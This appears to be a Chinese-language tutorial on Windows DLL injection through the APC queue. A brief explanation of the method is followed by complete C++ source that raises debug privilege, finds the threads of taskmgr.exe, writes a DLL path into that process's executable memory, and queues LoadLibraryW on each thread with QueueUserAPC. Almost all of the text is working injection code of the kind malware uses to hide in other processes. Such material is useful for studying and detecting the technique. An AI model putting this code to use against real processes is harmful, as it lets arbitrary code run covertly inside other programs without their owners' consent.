注入

系统产生一个软中断，当线程再次被唤醒时，此线程会首先执行APC队列中的被注册的函数，利用QueueUserAPC()这个API，并以此去执行我们的DLL加载代码，进而完成DLL注入的目的，

1.根据进程名称得进程ID
2.枚举该进程中的线程
3.将自己的函数插入到每个线程的APC队列中

  1 // APCInject(Ring3).cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <windows.h>
#include <TlHelp32.h>
#include <ntstatus.h>
#include <vector>
#include <iostream>

using namespace std;
/*
Win7下成功 Win10不一定成功（编译对应的位数，管理员身份运行） 
Win7要将倒着插入！！
要将DLL拷到.cpp的文件夹中
尽量选择线程多的exe 

另外没有提供删除APC队列中函数的方法，所以不能反复注入。
*/


WCHAR    __DllFullPath[MAX_PATH] = { 0 };  
PVOID    __DllFullPathBufferData = NULL;
UINT_PTR __LoadLibraryWAddress = 0;


//typedef void(*pfnSub_110)();


BOOL GetProcessIDByProcessImageName(IN PWCHAR ProcessImageName, OUT PUINT32 ProcessID);
BOOL GetThreadIDByProcessID(IN UINT32 ProcessID, OUT vector<UINT32>& ThreadIDVector);
BOOL InjectDllByApc(IN UINT32 ProcessID, OUT UINT32 ThreadID);
BOOL DebugPrivilege(WCHAR * DebugName, BOOL bEnable);

int main()
{
    if (DebugPrivilege(SE_DEBUG_NAME, TRUE)==FALSE)
    {
        printf("DebugPrivilege Error
");
    }

    GetCurrentDirectory(MAX_PATH, __DllFullPath);

    wcscat(__DllFullPath, L"\Dll.dll");

    
    UINT ProcessID = 0;

    if (GetProcessIDByProcessImageName(
        L"taskmgr.exe", &ProcessID) == FALSE)
    {
        
        
        return 0;
    }

    vector<UINT32> ThreadIDVector;

    if (GetThreadIDByProcessID(ProcessID, ThreadIDVector) == FALSE)
    {
        return 0;
    }

    size_t ThreadCount = ThreadIDVector.size();
    //每一个线程
    /*
    win7下得倒着注入
    */
    for (INT_PTR i = ThreadCount - 1; i >= 0; i--)
    {
        UINT32 ThreadID = ThreadIDVector[i];
        InjectDllByApc(ProcessID, ThreadID);
    }


    printf("Input Any Key to Exit
");
    getchar();
    getchar();

    return 0;
}


BOOL InjectDllByApc(IN UINT32 ProcessID, OUT UINT32 ThreadID)
{
    HANDLE  ThreadHandle = NULL;
    HANDLE    ProcessHandle = OpenProcess(
        PROCESS_ALL_ACCESS, FALSE, ProcessID);

    SIZE_T  DllFullPathLength = ((wcslen(__DllFullPath) + 1));

    SIZE_T        ReturnLength = 0;
    BOOL        IsOk = FALSE;

    // 申请一次内存
    if (__DllFullPathBufferData == NULL)
    {
        __DllFullPathBufferData =
            VirtualAllocEx(
                ProcessHandle,
                NULL,
                DllFullPathLength * 2,
                MEM_COMMIT | MEM_RESERVE,
                PAGE_EXECUTE_READWRITE
            );

        if (__DllFullPathBufferData == NULL)
        {
            CloseHandle(ProcessHandle);
            ProcessHandle = NULL;
            return FALSE;
        }

        IsOk = WriteProcessMemory(
            ProcessHandle,
            __DllFullPathBufferData,
            __DllFullPath,
            DllFullPathLength * 2,
            &ReturnLength
        );

        if (IsOk == FALSE)
        {

            VirtualFree(__DllFullPathBufferData,
                DllFullPathLength * 2, MEM_RELEASE);

            CloseHandle(ProcessHandle);
            ProcessHandle = NULL;
            return FALSE;
        }
    }

    __LoadLibraryWAddress = 
        (UINT_PTR)GetProcAddress(
            GetModuleHandle(L"Kernel32.dll"), 
            "LoadLibraryW"
        );

    if (__LoadLibraryWAddress == NULL)
    {
        VirtualFree(
            __DllFullPathBufferData, 
            DllFullPathLength * 2, MEM_RELEASE);
        CloseHandle(ProcessHandle);
        ProcessHandle = NULL;
        return FALSE;
    }

    __try
    {
        ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadID);
        DWORD v1 = QueueUserAPC(
            (PAPCFUNC)__LoadLibraryWAddress, 
            ThreadHandle, 
            (UINT_PTR)__DllFullPathBufferData
        );   //LoadLibraryWAddress("DllFullPathBufferData")
        if (v1 == 0)
        {
            printf("FAIL %d
", GetLastError());
        }
        else if (v1 != 0)
        {
            printf("Success
");
        }
    }

    __except (EXCEPTION_CONTINUE_EXECUTION)
    {

    }

    CloseHandle(ProcessHandle);
    CloseHandle(ThreadHandle);




    return TRUE;
}


BOOL GetThreadIDByProcessID(IN UINT32 ProcessID, OUT vector<UINT32>& ThreadIDVector)
{
    HANDLE            ThreadSnapshotHandle = NULL;
    THREADENTRY32    ThreadEntry32 = { 0 };

    ThreadEntry32.dwSize = sizeof(THREADENTRY32);
    
    ThreadSnapshotHandle = CreateToolhelp32Snapshot(
        TH32CS_SNAPTHREAD, 0);
    if (ThreadSnapshotHandle == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }

    BOOL IsOk = Thread32First(
        ThreadSnapshotHandle, &ThreadEntry32);
    
    if (IsOk)
    {
        do
        {
            if (
                ThreadEntry32.th32OwnerProcessID 
                == ProcessID)
            {
                ThreadIDVector.emplace_back(
                    ThreadEntry32.th32ThreadID);        // 把该进程的所有线程id压入模板
            }
        } while (Thread32Next(
            ThreadSnapshotHandle, &ThreadEntry32)
            );

    }





    CloseHandle(ThreadSnapshotHandle);
    ThreadSnapshotHandle = NULL;
    

    return TRUE;
}

BOOL GetProcessIDByProcessImageName(IN PWCHAR ProcessImageName, OUT PUINT32 ProcessID)
{
    HANDLE ProcessSnapshotHandle = NULL;
    ProcessSnapshotHandle =
        CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (ProcessSnapshotHandle == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }

    PROCESSENTRY32 ProcessEntry32 = { 0 };
    ProcessEntry32.dwSize = sizeof(PROCESSENTRY32);

    BOOL IsOk = Process32First(
        ProcessSnapshotHandle,
        &ProcessEntry32
    );

    if (IsOk)
    {
        do 
        {
            if (
                lstrcmpi(ProcessEntry32.szExeFile,
                    ProcessImageName)==0
                )
            {
                *ProcessID = ProcessEntry32.th32ProcessID;
                break;
            }
        } while (Process32Next(
            ProcessSnapshotHandle,
            &ProcessEntry32
        )
            );
    }

    if (*ProcessID==0)
    {
        printf("Get ProcessID FAIL! 请打开任务管理器.
");
        return FALSE;
    }

    CloseHandle(ProcessSnapshotHandle);
    ProcessSnapshotHandle = NULL;

    

    return TRUE;
}








BOOL DebugPrivilege(WCHAR * DebugName, BOOL bEnable)
{
    BOOL              bRet = TRUE;
    HANDLE            TokenHandle;
    TOKEN_PRIVILEGES  TokenPrivileges;

    //进程 Token 令牌
    if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &TokenHandle))
    {
        bRet = FALSE;
        return bRet;
    }
    TokenPrivileges.PrivilegeCount = 1;
    TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;

    LookupPrivilegeValue(NULL, DebugName, &TokenPrivileges.Privileges[0].Luid);
    AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
    if (GetLastError() != ERROR_SUCCESS)
    {
        bRet = FALSE;
    }

    CloseHandle(TokenHandle);
    return bRet;

}